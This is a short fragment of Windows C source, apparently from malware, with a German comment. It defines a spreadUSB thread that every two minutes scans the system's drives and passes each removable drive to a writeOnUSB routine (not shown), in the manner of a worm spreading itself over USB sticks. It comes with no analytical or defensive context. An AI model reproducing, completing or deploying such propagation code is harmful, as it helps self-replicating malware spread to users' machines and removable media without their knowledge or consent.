DWORD WINAPI spreadUSB(){ while(1){ Sleep(120000); printf("Starting scan\r\n"); char chckDrv[1024]; if((GetLogicalDriveStrings(sizeof(chckDrv), chckDrv)) != 0){ int i = 0; char word[1024]; int j = 0; for(i = 0; i < 1024; i++){ if(chckDrv[i] != '\0'){ word[j] = chckDrv[i]; j++; }else{ word[j] = '\0'; j = 0; printf("word: %s\r\n", word); //if(GetDriveType(word) == DRIVE_REMOVABLE || GetDriveType(word) == DRIVE_CDROM){ if(GetDriveType(word) == DRIVE_REMOVABLE){ writeOnUSB(word); } // Wenn keine Laufwerde mehr folgen finden wir '\0\0' if(chckDrv[i] == '\0' && chckDrv[i+1] == '\0') i = 1024; } } } printf("finished scan\r\n"); } }